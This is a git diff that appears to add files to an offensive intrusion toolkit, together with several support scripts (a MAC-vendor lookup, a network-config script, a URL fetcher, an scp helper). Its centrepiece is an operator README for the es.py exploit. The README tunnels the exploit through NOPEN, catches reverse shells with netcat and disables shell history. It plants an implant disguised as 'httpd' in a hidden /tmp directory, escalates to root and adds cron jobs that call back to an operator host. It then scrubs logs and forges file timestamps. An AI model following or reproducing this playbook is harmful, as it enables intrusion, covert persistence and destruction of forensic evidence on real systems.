multiples...sorted_by_key = attempted_whack_pool_pointers.keys() +# Pass 2...list the multiples...sorted_by_key.sort() +# Pass 2...list the multiples...for whacked_pool_pointer in sorted_by_key: +# Pass 2...list the multiples... if (attempted_whack_pool_pointers[whacked_pool_pointer] > 1): +# Pass 2...list the multiples... print "0x%8x --> %d" % (whacked_pool_pointer, attempted_whack_pool_pointers[whacked_pool_pointer]) +# Pass 2...list the multiples...print "===================================================================================================================" + diff --git a/Linux/bin/es.py.README b/Linux/bin/es.py.README new file mode 100644 index 0000000..5e0eb8f --- /dev/null +++ b/Linux/bin/es.py.README @@ -0,0 +1,250 @@ + + +## NOTE: This assumes redirecting the exploit via NOPEN. + +## The idea behind the pairs of commands everywhere is to attack two +## different ranges simultaneously. The ports will let us know which +## was successfull (look for callback in first or second NOPEN +## -tunnel window, indicating the first or second exploit command +## was successful). We want to know which worked so we can take note +## of the offset that worked (or thereabouts). +## + + +## Some vi % lines to make substitutions for you. +## Change second occurrence in each line here, then (ESCape first) +## paste these in. +:%s/TARGET_IP/TARGET_IP/g +:%s/NETCAT_PORT1/NETCAT_PORT1/g +:%s/NETCAT_PORT2/NETCAT_PORT2/g +:%s/NOPENBINARY/NOPENBINARY/g +:%s/NOPENPORT/NOPENPORT/g + + +############################################## +### TWO NOPEN TUNNEL WINDOWS +############################################## +## NOPEN TUNNEL WINDOW #1 (split between two distinct NOPEN sessions) +-tunnel +l 40343 TARGET_IP 443 +r NETCAT_PORT1 + +## NOPEN TUNNEL WINDOW #2 (split between two distinct NOPEN sessions) +-tunnel +l 40443 TARGET_IP 443 +r NETCAT_PORT2 127.0.0.1 NETCAT_PORT1 + + +############################################## +### LOCAL LISTENER FOR SHELL CALLBACK +############################################## +## SET UP LOCAL LISTENER FOR INITIAL SHELL CALLBCK IN SCRIPTED WINDOW. +## +## scripme gives you a scripted window if you need another +scripme + +## then paste this into it +nc -vv -l -p NETCAT_PORT1 + + +############################################## +### LOCAL ALARM FOR CALLBACK SESSION THEN +## LOCAL LISTENER FOR BINARY UPLOAD CALLBACK +############################################## +## SET UP LOCAL CALLBACK IN SCRIPTED WINDOW. +## ENTIRE block here can be pasted (once NETCAT_PORT1 and NOPENBINARY +## are set accordingly). + +## scripme gives you a scripted window if you need another +scripme + +## then paste this ENTIRE BLOCK into it +while [ 1 ] ; do + echo this repeats after netcat below exits + while [ 1 ] ; do + netstat -an | grep NETCAT_PORT1.*ESTAB && break + sleep 3 + done + sleep 1 ; echo -e "\aINCOMING" ; sleep 1 ; echo -e "\aINCOMING" ; + sleep 1 ; echo -e "\aINCOMING" ; sleep 1 ; echo -e "\aINCOMING" + nc -vv -l -p NETCAT_PORT1 < /current/up/NOPENBINARY + sleep 1 + echo "Use ^C to get out of this loop" +done + + +############################################## +### TWO LOCAL EXPLOIT WINDOWS (scripme scripts these for you) +############################################## +## This makes two nicely sized scripted windows for the exploits +scripme -X"-geometry 102x24+652-46" +scripme -X"-geometry 102x24+0-46" + + +## Pick a callback method (use just one of these pairs of export lines, +## most likely the first). The first line in the first exploit window, +## the second in the second. + +# Call back with interactive shell via PITCH_IP +export REMOTECOMMAND1="(sh&0 2>&0)" +export REMOTECOMMAND2="(sh&0 2>&0)" + +# Call back with interactive shell via LOCAL_IP +export REMOTECOMMAND1="(sh&0 2>&0)" +export REMOTECOMMAND2="(sh&0 2>&0)" + +# Call back with output from some commands +export REMOTECOMMAND1="(sh&0 2>&0)" +export REMOTECOMMAND2="(sh&0 2>&0)" + + +## Now, whichever REMOTECOMMAND* lines were used, here is your first +## and second window's exploit line. Note the ranges do not overlap. +es.py 127.0.0.1 40343 5000 0xbfffe000 0xbfffefff 0x4 0x0 "$REMOTECOMMAND1" +es.py 127.0.0.1 40443 5000 0xbffff000 0xbffffff0 0x4 0x0 "$REMOTECOMMAND2 + + + +############################################## +### IN LOCAL SHELL LISTENER WHEN IT GETS A CALLBACK +############################################## +## +## REMOTE in initial shell callback to netcat: +## +## Are we there yet? +id + +## If so, this whole block can go up (to next blank line) +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +pwd +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- 10<&- 11<&- 12<&- 13<&- 255<&- +uname -a +ls -alrt /tmp + + +## Look ok? Our temp dir below not there yet? Then this whole block +mkdir -p /tmp/.httpd-lock; chmod 700 /tmp/.httpd-lock; ls -lctra /tmp +cd /tmp/.httpd-lock; pwd +ls -alrt + +## Now upload to target (be sure listener and tunnels are ok) +cathttpd ; ls -la + +chmod 700 httpd +netstat -an | egrep "LISTEN|3275" + +## CALLBACK? Set up for callback: +-nrtun NOPENPORT +D=-cPITCH_IP:NOPENPORT PATH=. httpd + +## LISTENER? +PATH=. httpd +-nstun TARGET_IP + +############################################## +### REMOTE - first (apache) NOPEN window +### LOCAL ELEVATION +############################################## +## +## + +## If we're lucky and already root you can skip local elevate +## (use eventstart - ptrace won't work on RH9) +id + +## OPTIONAL, just in case EVENTSTART bounces box, you can +## start a cron job to call nopen in case of a reboot (if you won't +## be able to reexploit) set the time to remove itself to the next +## hour (use both local and UTC time) + +vi /current/down/crontab: +0,5,10,15,20,25,30,35,40,45,50,55 * * * * sh -c "D=-cPITCH_IP:NOPENPORT /tmp/.httpd-lock/crond" +0 1,17 * * * crontab -r + +### on target: +date; date -u +-ls -t /var/log/cron +-ls -t /var/spool/cron +-cat /etc/syslog.conf +crontab -l +-put /current/down/crontab crontab +-cat crontab +crontab crontab +crontab -l +rm crontab +date + + +id +-put /current/up/h h + +## Use h to elevate +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +id +pwd +ls -l +PATH=. h +id + +## Are we root? run a new nopen then +## CALLBACK? Set up for callback: +-nrtun NOPENPORT +D=-cPITCH_IP:NOPENPORT PATH=. httpd + +## LISTENER? (note the port incremented since first is still there) +PATH=. httpd +-nstun TARGET_IP 32755 + +## Once we have a root NOPEN, this apache one can go +exit +exit + +## in the apache owned NOPEN +-burn + + + +############################################## +### REMOTE - second (root) NOPEN window +############################################## +-nstun TARGET_IP 32755 +id + + +## Clean logs +## Logging: +## + +## Use these times (or adjust them) later +-ls -n /var/log/httpd + +-lt /var/log/httpd + /var/log/httpd/ssl_access_log + /var/log/httpd/ssl_request_log + /var/log/httpd/ssl_error_log + /var/log/httpd/error_log + +-lt /var/log + /var/log/messages + /var/log/secure + /var/log/maillog + + + +## use -gs grepout to clean logs (it will use time in last line we +## preserve to touch file back). + +## NOTE: This will have TONS of output. Suffer through it. + +## This looks odd without quotes around the argument--but that's fine. +-gs grepout PITCH_IP|Segmentation /var/log/httpd + + +## Use -touch -t lines from above to fix times, or -touch reffile targetfile if that makes more sense + +-touch diff --git a/Linux/bin/escrowupgrade b/Linux/bin/escrowupgrade new file mode 100755 index 0000000..e893283 Binary files /dev/null and b/Linux/bin/escrowupgrade differ diff --git a/Linux/bin/esna-1.1.0.1.tar.gz b/Linux/bin/esna-1.1.0.1.tar.gz new file mode 100644 index 0000000..5dbbc1f Binary files /dev/null and b/Linux/bin/esna-1.1.0.1.tar.gz differ diff --git a/Linux/bin/esperanto.tar.gz b/Linux/bin/esperanto.tar.gz new file mode 100644 index 0000000..33aea82 Binary files /dev/null and b/Linux/bin/esperanto.tar.gz differ diff --git a/Linux/bin/ethcheck b/Linux/bin/ethcheck new file mode 100755 index 0000000..a95697f --- /dev/null +++ b/Linux/bin/ethcheck @@ -0,0 +1,390 @@ +#!/usr/bin/env perl +use File::Basename; +$progname = basename ${0}; +$versiontext = "2.6.0.3"; +@sourcefiles = ( + "./ethernetMACs.txt", + "/current/doc/ethernetMACs.txt", + "/current/bin/ethernetMACs.txt", + "../doc/ethernetMACs.txt", + "../bin/ethernetMACs.txt", + "/usr/local/sbin/ethernetMACs.txt", +); + +$usagetext = " +Usage: $progname [ethernetMACs.txt-file] + + $progname loads in the ethernetMACs.txt file when first run. It then + prompts the user to paste in \"arp\" entries. When a blank line or ^D + is entered, those entered thus far are processed and the producer of + those NIC cards, if known, is output. If /current/down exists and is + writable, output is also saved there in two files: ethcheckout.raw + will contain the raw output of every execution of $progname, to + include any duplicates; ethcheckout.txt will contain a list of unique + MAC addresses, with multiple IPs on the same MAC grouped together. + + So data pasted in is not lost, the final input to $progname should + always be a ^D. If ^C is attempted, the user is warned of this fact. + A second ^C will terminate, perhaps losing the most recently pasted + data. + + $progname looks for ethernetMACs.txt in these locations: + +"; +foreach ( @sourcefiles ) { + $usagetext .= "\t\t$_\n"; +} + +$usagetext .= "\n$progname version $versiontext\n"; +sub catch_zap { + if (! $gotbreak and $arpEntries and $arpEntries > 0 ) { + warn ("You've pasted input. If you don't want to lose it, +hit ^D instead. If you want to break anyway, ^C again. +Now continuing where you left off...\n\n"); + $gotbreak++; + return; + } else { +print "cya!\n"; + exit; + } +} + +$myip = "MYIP"; + +$SIG{INT} = \&catch_zap; +$arpEntries = 0; +$arpHits = 0; +$arpMisses = 0; +$macCount = 0; +%macEntry = (); +%outputMacEntries = (); + +$argument_count = @ARGV; + +# print "argcount is $argument_count\n"; + +# any help or version or other args? + +my $self = ""; + +if ($argument_count > 0) { + if ($ARGV[0] eq "-h" or $ARGV[0] eq "--help" or $ARGV[0] eq "-v") { + print ($usagetext); + exit ; + } + if ($ARGV[0] eq "--self") { + $self = shift @ARGV; + $argument_count = @ARGV; + } +} +# +# Open our reference file of known MAC addresses... +# +if ($argument_count != 1) { + if ($argument_count == 0) { + warn("No filename supplied. Trying defaults.... "); + # Try guessing... + while ($filename = shift(@sourcefiles)) { + open(FILEHANDLE, $filename) and last; + } + if ( ! $filename) { + # BONK!!! + warn("Reference file not found in any of:\n(@sourcefiles)\n\n"); + die("\nUsage: ethcheck.pl filename\n\n"); + } + warn("Using $filename\n"); + } else { + # BONK!!! + die("\nUsage: ethcheck.pl filename\n\n"); + } +} else { + $filename = $ARGV[0]; + + print (STDOUT "Opening: <$filename>...\n"); + if (!open(FILEHANDLE, $filename)) { + die("Unable to open <$filename>: $!"); + } +} + +# # Grab our current system's information... +# $SIG{CHLD} = 'DEFAULT'; # Car!!!!! +# if (!open(FILEHANDLE, "uname -a 2>&1 |")) { +# # BONK!!! +# die("\nUnable to invoke &1>: $!...\n"); +# } +# +# # Read its output... +# while(defined($systemInfo = )) { +# chomp($systemInfo); +# print (STDOUT "$textDatePrefix $inputLine\n"); +# } +# +# # Done with the input pipe... +# close(FILEHANDLE); +# $SIG{CHLD} = 'IGNORE'; # Game on!!!!! +$fileout = 0; + +if (-d "/current/down") { + $dirage = -C _; + if ($dirage < (4.0/24.0)) { # if < 4 hours old + if (open (FILEOUT, ">> /current/down/ethcheckout.raw")) { + $fileout = 1; + print STDERR "Sending output to both STDOUT and appending to /current/down/ethcheckout.raw\n\n"; + } else { + warn "Could not open /current/down/ethcheckout.raw for append."; + } + } +} +# skip the bit of perl code at top +while( ! =~ /^__DATA__/) {} ; +while(defined($currentLine = )) { + if (!($currentLine =~ /^\s*\#/)) { + # Not a comment...good...include it... + $macCount++; + chomp($currentLine); + my(@macFields) = split(/ +/, $currentLine); + $macIndex = "\L$macFields[0]\E"; +# $macIndex =~ s/:..:..:..$//; + shift(@macFields); + $macEntry{$macIndex} = join(" ", @macFields); + } +} +$line = "-----------------------------------------------------------------------------\n"; +# Done with the file... + close(FILEHANDLE); + print (STDOUT $line); + print (STDOUT "$macCount total MAC entries loaded from $filename\n"); + print (STDOUT "ready to roll...paste me some \"arp\" output, please...\n"); + print (STDOUT "(hit between batches, ^D to terminate).\n"); + print (STDOUT $line); + +while (defined($arpLine = )) { +# $arpLine =~ s/\s+/ /g; + if ($arpLine eq "\n") { + # Time to flush output... + printout ( $line); + ## Uncomment to sort by "arp -a" text... + # foreach(sort by_alphabet keys(%outputMacEntries)) { + # # Print each entry out... + # printout ( "$outputMacEntries{$_}"); + # } + ## Uncomment to sort by MAC codes... + foreach(sort by_alphabet values(%outputMacEntries)) { + # Print each entry out... + printout ( "$_"); + } + printout ( $line); + # Reset our entries... + %outputMacEntries = (); + next; + } + $myip = $1 if ($arpLine =~ /\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ and $1 ne "127.0.0.1"); + $arpEntries++; + chomp($arpLine); + # if ( $arpLine =~ /Internet / ) { #input from Cisco + # $arpLine =~ s/ ([\da-f]{2})([\da-f]{2})\.([\da-f]{2})([\da-f]{2})\.([\da-f]{2})([\da-f]{2})/ \1:\2:\3:\4:\5:\6/i + # } + # An snmpscan of cisco router shows "ff ff ff ff ff ff" format, with spaces, so we replace those spaces with :. + if ($arpLine =~ /(([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2}))\s*$/i) { + # This first one is anchored on the EOL + my $oldmac = $1; + my $newmac = lc "$2:$3:$4:$5:$6:$7"; + $arpLine = "$newmac $arpLine"; +# $arpLine =~ s/$oldmac/$newmac/; + } elsif ($arpLine =~ /(([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2}))/i) { + # This one is bytes 2-7 of 7 or more + my $oldmac = $1; + my $newmac = lc "$2:$3:$4:$5:$6:$7"; + $arpLine = "$newmac $arpLine"; +# $arpLine =~ s/$oldmac/$newmac/; + } elsif ($arpLine =~ /(([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2}))/i) { + # This one is bytes 2-7 of 7 or more + my $oldmac = $1; + my $newmac = lc "$2:$3:$4:$5:$6:$7"; + $arpLine = "$newmac $arpLine"; +# $arpLine =~ s/$oldmac/$newmac/; + } elsif ($arpLine =~ /([\da-f]{2})\s*(([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2})\s+([\da-f]{2}))/i) { + my $oldmac = $2; + my $newmac = lc "$3:$4:$5:$6:$7:$8"; + $arpLine = "$newmac $arpLine"; +# $arpLine =~ s/$oldmac/$newmac/; + } elsif ($arpLine =~ /\s(([\da-f]{1,2})[\.:]([\da-f]{1,2})[\.:]([\da-f]{1,2})[\.:]([\da-f]{1,2})[\.:]([\da-f]{1,2})[\.:]([\da-f]{1,2}))\s/i) { + my $oldmac = $1; + my $newmac = lc "$2:$3:$4:$5:$6:$7"; + $arpLine = "$newmac $arpLine"; +# $arpLine =~ s/$oldmac/$newmac/; + } + + my(@arpFields) = split(/\s+/, $arpLine); + $macAddress = 0; + foreach (@arpFields) { + # if ($_ =~ /^..:..:..:..:..:../) { + if (/^[\da-f]{2}[\.:-\s]{0,1}[\da-f]{2}[\.:-\s]{0,1}[\da-f]{2}[\.:-\s]{0,1}[\da-f]{2}[\.:-\s]{0,1}[\da-f]{2}[\.:-\s]{0,1}[\da-f]{2}$/i) { + s/^([\da-f]{2})([\da-f]{2}).{0,1}([\da-f]{2})([\da-f]{2}).{0,1}([\da-f]{2})([\da-f]{2})/\1:\2:\3:\4:\5:\6/i ; + + } + + # Some router stuff shows this format: + # cisco: sh ip arp + # huawei: display arp bridge + # huawei: display arp + if (/^([\da-f]{4})[\.:-\s]{0,1}([\da-f]{4})[\.:-\s]{0,1}([\da-f]{4}[\.:-\s]){0,1}$/i) { + $_ = lc "$1:$2:$3"; + s/([\da-f]{2})([\da-f]{2})/$1:$2/g; + } + + if ( (/^[\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}/i) + ) { + # Looks like a MAC address...reformat a bit... + @macFields = split(/[-:]/, "\L$_\E"); + $macAddress = sprintf("%02x:%02x:%02x:%02x:%02x:%02x", + hex($macFields[0]), + hex($macFields[1]), + hex($macFields[2]), + hex($macFields[3]), + hex($macFields[4]), + hex($macFields[5])); + $arpLine =~ s/\ +$_// ; +# } elsif ($_ =~ /^[^-]+-[^-]+-[^-]+-[^-]+-[^-]+-[^-]+/) { +# # Hmmm...could it be some mutant system (can you say DEC)??? +# @macFields = split(/-+/, "\L$_\E"); +# $macAddress = sprintf("%02x:%02x:%02x:%02x:%02x:%02x", +# hex($macFields[0]), +# hex($macFields[1]), +# hex($macFields[2]), +# hex($macFields[3]), +# hex($macFields[4]), +# hex($macFields[5])); + } + } + if ($macAddress) { + $outputMacEntries{$arpLine} = "$macAddress "; + $macIndex = $macAddress; + $macIndex =~ s/:..:..:..$//; + + if (defined($macEntry{$macIndex})) { + $outputMacEntries{$arpLine} .= "<< $macEntry{$macIndex} >>"; + $arpHits++; + } else { + $outputMacEntries{$arpLine} .= "NOT found in file $filename"; + $arpMisses++; + } + } else { +# $outputMacEntries{$arpLine} = "no MAC address field found in \"arp\" line"; + } + if ($self) { + $myip = $nopen_myip if $nopen_myip; + $outputMacEntries{$arpLine} .= "(self:$myip)"; + } + $outputMacEntries{$arpLine} .= " $arpLine\n"; +} +printout ( $line); +foreach(sort by_alphabet values(%outputMacEntries)) { + # Print each entry out... + if ($myip ne "MYIP" and /:MYIP/) { + s,:MYIP,:$myip,; + } + printout ( "$_"); +} + +# Reset our entries... +%outputMacEntries = (); + +printout ( $line); +printout ( "Done: $arpHits inputs were identified...$arpMisses not\n"); +printout ( $line); + +close (FILEOUT) if $fileout; +%donethis = () ; + +if (open (FILEIN, "/current/down/ethcheckout.raw")) { + $mac = ""; + $dupes = 0 ; + while ( $linein = ) { + if ( $linein =~ /^----/ or $linein =~ /\s224\.0\.0\.0\s/ ) { + $mac = ""; + next; + } + next if $donethis{$linein}++ ; + ($mac) = split(/\s+/,$linein); + if ($mac =~ /^[\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}[:-][\da-f]{1,2}/i) { + if (defined $macs{$mac} and length($macs{$mac})) { + $linein =~ s/$mac/$mac\+/ ; + $dupes++ ; + } else { + $linein =~ s/$mac/ / ; + } +# $linein = " dupe $linein" if (length($macs{$mac})) ; + $macs{$mac} .= $linein unless ( $ips{$linein} ) ; + $ips{$linein}++ ; +# } else { +# $enddump .= $linein; + } + } + close(FILEIN); + $uniqips = keys( %macs ); + $uniqmacs = keys( %ips ); + $oldheaders = "" ; + if (open (FILEIN, "< /current/down/ethcheckout.txt")) { + while () { + next if ( / output generated/ or /Containing data from/ or /op host/ ) ; + $oldheaders .= $_ if (/^\#/) ; + last if (/^--/); + } + close(FILEIN) ; + } # else never mind + if (open (FILEOUT, "> /current/down/ethcheckout.txt")) { + print "\nCreating /current/down/ethcheckout.txt containing following:\n\n"; + $fileout = 1; + } else { + $fileout = 0; + } + $localhost = $ENV{'HOST'}; + $localhost = $ENV{'HOSTNAME'} unless $localhost ; + printout ( "#### op host: $localhost\n" ) if ($localhost); + printout ( "#### output generated ".`date` ) ; + $all = " ALL OF" if $oldheaders ; + printout ( "#### Containing data from$all:\n$oldheaders"); + $nopen_rhostname = "$ENV{'NOPEN_RHOSTNAME'}"; + my $tmp = "" ; + if (length $nopen_rhostname) { + $tmp = $nopen_rhostname."xx" ; + } elsif (-r "/current/etc/opscript.txt") { +# $tmp = `head -2 /current/etc/opscript.txt 2>/dev/null` ; +# $tmp =~ s/\n....\s+/\t/ ; +# $tmp =~ s/[\s\#]+//g ; + $tmp = "Command Line--Unknown source" ; + } else { + $tmp = "Command Line--Unknown source" ; + } + $ip = "" ; + ($ip) = $tmp =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})xx/ ; + ($host) = $tmp =~ /(.*)\.*$ip/ ; + $host =~ s/\.$// ; + $host .= " " while (length($host) < 25) ; + $header = "#### $host\t$ip\n" ; + printout ( $header ) unless ( $oldheaders =~ /$header/ ); + printout ( $line ) ; + foreach $mac (sort keys ( %macs ) ) { + printout ( $mac.$macs{$mac} ) ; + } + printout ( "\n + Indicates duplicate IPs for same MAC\n") if $dupes; + printout ( " +Unique MACs found: $uniqmacs +Unique IP's found: $uniqips\n\n" ) ; +} + +#printout ( $enddump ); + +sub by_alphabet { + return $a cmp $b; +} + +sub printout { + my ($linein) = (@_); + print STDOUT $linein; + print FILEOUT $linein if $fileout; +} +sub dbg { + warn "DBG: ".gmtime().": @_\n"; +} diff --git a/Linux/bin/etherConfig b/Linux/bin/etherConfig new file mode 100755 index 0000000..c01297b --- /dev/null +++ b/Linux/bin/etherConfig @@ -0,0 +1,160 @@ +#!/bin/sh +# +# +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +PROG=`basename ${0}` +VER=2.4.0.3 + +warn() { + $SETCOLOR_FAILURE + echo -e "$*" + $SETCOLOR_NORMAL + usleep 700000 +} + + +die() { + $SETCOLOR_FAILURE + echo -e "$*" + $SETCOLOR_NORMAL + exit 1 +} + +# For "echo -n" +PATH=/usr/ucb:$PATH; export PATH + +os=`uname -s` +version=`uname -r` +INTERFACE=eth0 +if [ "${1:0:3}" = "eth" ] ; then + INTERFACE=$1 + shift +fi + +defip=$1 +defmask=$2 +defgw=$3 +[ "$defmask" ] || defmask=255.255.255.0 + +[ "$1" = "-v" ] && echo "$PROG version $VER" && exit +if [ "$1" = "-h" ] ; then +cat <new; +$ua->agent("MyApp/0.1 "); +# Create a request +foreach $url (@urls) { + $url = "http://$url" + unless $url =~ m,^http://, or $url =~ m,^ftp://, ; + my $req = HTTP::Request->new(GET => "$url"); + $req->content_type('application/x-www-form-urlencoded'); + $req->content('query=libwww-perl&mode=dist'); + + # Pass request to the user agent and get a response back + my $res = $ua->request($req); + + $retval=0; # 0==success + # Check the outcome of the response + if ($res->is_success) { + unless ($quiet) { + if ($showHeaders) { + # this prints headers line by line instead of using $res->as_string to do + # the whole thing (uncomment if you want this) +#NOTE: header_field_names did not exist on NT for me. +# foreach $header ($res->header_field_names) { +# print "$header: ".$res->header($header)."\n"; +# } + # headers and content + print $res->as_string; + } else { #content only + print $res->content; + } + } + } else { + print $res->status_line, "\n"; + ($retval) = $res->status_line =~ /(\d*)/; + $retval = 1 unless $retval; + } +} +exit $retval; + +sub usage { + print $usagetext unless !$helpFlag and $versionFlag; + print $vertext ; + exit; +} # usage + +sub myinit { + require HTTP::Request; + use File::Basename ; + $prog = basename $0 ; + use LWP::UserAgent; + $vertext = "$prog version $version\n" ; + $usagetext = " +Usage: $prog [options] URL1 [URL2 ...] + +$prog browses each URL# given, sending the ascii HTML output +to stdout. If URLs are given on both the command line and via the +--file=file argument, they are all surfed. + +If URL does not begin with \"(ftp|http)://\", that is prepended. + +FTP URLs requie Net/FTP.pm. This FTP URL will show a listing of that +user's directory on host: + + ftp://username:password\@host/directory + +OR this will pull the actual file if it exists, binary or ascii: + + ftp://username:password\@host/directory/remotefile + +Be sure to redirect it to a file if it is binary, your stdout will not +like it much. + + +OPTIONS + --file=file Browse URL(s) contained in file, one per line + --quiet Show only error output--if URL has content, it + is not shown. + --help Show this usage + --version Show $prog version number + --headers Show headers before HTML response + +RETURN VALUE + +On success (for the final URL if multiple were fetched), $prog +returns zero (0), and on failure it returns the HTTP error number +modulo 256 (e.g., for \"500 Can't connect\" it returns 244). + +TIMEOUT: If the target host does not answer, there is a three minute +TCP timeout before $prog exits. + +"; + use Getopt::Long (); + Getopt::Long::Configure('no_pass_through'); + Getopt::Long::GetOptions + ( + 'file=s' => \$urlfile, + 'quiet' => \$quiet, + 'headers' => \$showHeaders, + 'help' => \$helpFlag, + 'version' => \$versionFlag, + ); + + die("$urlfile must exist\n") + if ($urlfile and ! -e $urlfile); + usage() if $helpFlag or $versionFlag or (!@ARGV and !$urlfile); + push(@urls,@ARGV); + if (open(IN,$urlfile)) { + while() { + chomp;chomp; + push(@urls,$_) if $_; + } + close(IN); + } +} diff --git a/Linux/bin/fg.py b/Linux/bin/fg.py new file mode 100755 index 0000000..b346b34 --- /dev/null +++ b/Linux/bin/fg.py @@ -0,0 +1,633 @@ +#!/usr/local/bin/python +# VER=2.0.0.2 +# 09 FEB 2012 + +""" +fg UTILITIES +requires: + + winscp for win32 + + pexpect 2.3 on linux +""" +import re, sys, time, os, getpass, string, traceback +from os import popen +from optparse import OptionParser +from subprocess import * + +try: + import pexpect +except: + + pass + + +class fg: + def __init__(self, userLogin, userID, userPassword, server, **kwargs): + """ + Initializes class setup some variables. + fg = fg(userLogin, userID, userPassword, server, kwargs[sharedDIRBool, userDIRBool, diskDIRBool, fileWildcard, debugBool, timeout, privKeyFile]) + """ + self.sharedDIRBool = self.userDIRBool = self.diskDIRBool = False + self.fileWildcard = "" + self.debugBool = False + self.timeout = 120 + + #determine OS + self.platform = sys.platform + if self.debugBool: print "Running on %s" % self.platform + self.userLogin = userLogin + self.userID = userID + self.userPassword = userPassword + self.server = server + self.remoteDir = "" + self.destDir = "." + #self.privKeyFile = privKeyFile + + if kwargs.__contains__("sharedDIRBool"): + self.sharedDIRBool = kwargs["sharedDIRBool"] + if self.sharedDIRBool: self.remoteDir = "/data/shared/" + if kwargs.__contains__("userDIRBool"): + self.userDIRBool = kwargs["userDIRBool"] + if self.userDIRBool: self.remoteDir = "/data/users/" + self.userID + "/" + if kwargs.__contains__("diskDIRBool"): + self.diskDIRBool = kwargs["diskDIRBool"] + if self.diskDIRBool: self.remoteDir = "/data/gc/" + + if kwargs.__contains__("privKeyFile"): + self.privKeyFile = kwargs["privKeyFile"] + + if kwargs.__contains__("fileWildcard"): + self.fileWildcard = kwargs["fileWildcard"] + + self.debugBool = kwargs["debugBool"] + self.timeout = int(kwargs["timeout"]) + + #ask for a password if the user didn't specify one or a privKeyFile + if not self.userPassword and not self.privKeyFile: + self.userPassword = self.setPass() + if not self.userID: + print "USER ID NOT SET!!" + exit(0) + + if not os.path.isfile(self.privKeyFile): + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] Key file does not exist: " + self.privKeyFile + bcolors.ENDC + "\n\n" + sys.stdout.flush() + exit(0) + + #this is the host key for the server to SSH into, needed for winscp + self.host_key = "ssh-rsa 2048 xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx" + if(self.platform == "linux2"): + self.sshKeys = [ + 'authenticity', + 'assword:', + 'denied', + 'No such file or directory', + '100%', + 'ETA', + pexpect.EOF, + 'Permission denied', + 'total ' + ] + self.sftpKeys = [ + 'authenticity', + 'assword:', + 'denied', + pexpect.EOF, + 'sftp>', + 'Connecting to' + ] + +#-------------------------------- + def setPass(self): + """ + Prompts the user for a password if this class was not passed the password by another script + """ + print "\n" + userPassword = getpass.getpass() + if self.debugBool: print "Password set: %s" % (userPassword) + print "\n\n" + return(userPassword) + + #-------------------------------- + def fgAutoGet(self): + """ + Automatically gets the files. Does a dir, displays the file list, prompts user for all, #, or wildcard get + """ + #if self.debugBool: print "Using options: %s --> %s" % (self.type, self.userLogin) + + if(self.platform == "win32"): + # list the files then display them to the user + print "AUTO GET FILES WIN32" + print "====================================" + #cmd = 'cmd.exe /c winscp ' + self.userLogin + ":" + self.userPassword + '@' + self.server + " -hostkey\=\"" + self.host_key + "\" /command \"option confirm off\" \"get " + self.remoteDir + self.fileWildcard + "* " + self.destDir + "\ \" exit \n" + #cmdnopass = 'cmd.exe /c winscp ' + self.userLogin + ":" + "" + '@' + self.server + " -hostkey\=\"" + self.host_key + "\" /command \"option confirm off\" \"get " + self.remoteDir + self.fileWildcard + "* " + self.destDir + "\ \" exit \n" + cmd = 'cmd.exe /c winscp ' + "/console /command \"open " + self.userLogin + ":" + self.userPassword + '@' + self.server + "\" \"option confirm off\" \"get " + self.remoteDir + self.fileWildcard + "* " + self.destDir + "\ \" exit" + " -hostkey\=\"" + self.host_key + print cmd + + #print "SENDING COMMAND: %s" % cmdnopass + #output = fg.winRunIt(cmd) + #print "\t[+] " + output.strip() + + elif(self.platform == "linux2"): + print "AUTO GET FILES LINUX" + + additionalArgs="" + #If we need to pass some additional args, do so here + if (self.privKeyFile): + additionalArgs= '-i ' + self.privKeyFile + ' ' + if (self.fileWildcard[0]=='^'): + cmd = 'scp ' + str(additionalArgs) + self.userLogin + '@' + self.server + ':' + self.remoteDir + self.fileWildcard.lstrip('^') + "* " + self.destDir + else: + cmd = 'scp ' + str(additionalArgs) + self.userLogin + '@' + self.server + ':' + self.remoteDir + "*" + self.fileWildcard + "* " + self.destDir + print "====================================" + print "\t" + cmd + try: + outputChild = fg.nixRunIt(cmd, self.sshKeys) + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] " + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + + + #-------------------------------- + def fgManualGet(self): + """ + Provides the user with a list of files then gets the user selected files. + """ + file_re = re.compile(r"^[drwx-]+\s", re.IGNORECASE | re.VERBOSE) + if(self.platform == "win32"): + #cd into directory then dir + print "====================================\n" + print " SORRY NOT WORKING YET! PUNT!" + exit(0) + #cmd = 'cmd.exe /c winscp ' + self.userLogin + ":" + self.userPassword + '@' + self.server + " -hostkey\=\"" + self.host_key + "\" /command \"cd " + self.remoteDir + "\" dir exit \n" + #output = fg.winRunIt(cmd) + + elif(self.platform == "linux2"): + additionalArgs="" + + #If we need to pass some additional args, do so here + if (self.privKeyFile): + additionalArgs= '-oIdentityFile=' + self.privKeyFile + ' ' + + # TODO, implement this with sftp: sftp -oIdentityFile=/root/testKey op@server + sftpCmd = 'sftp ' + 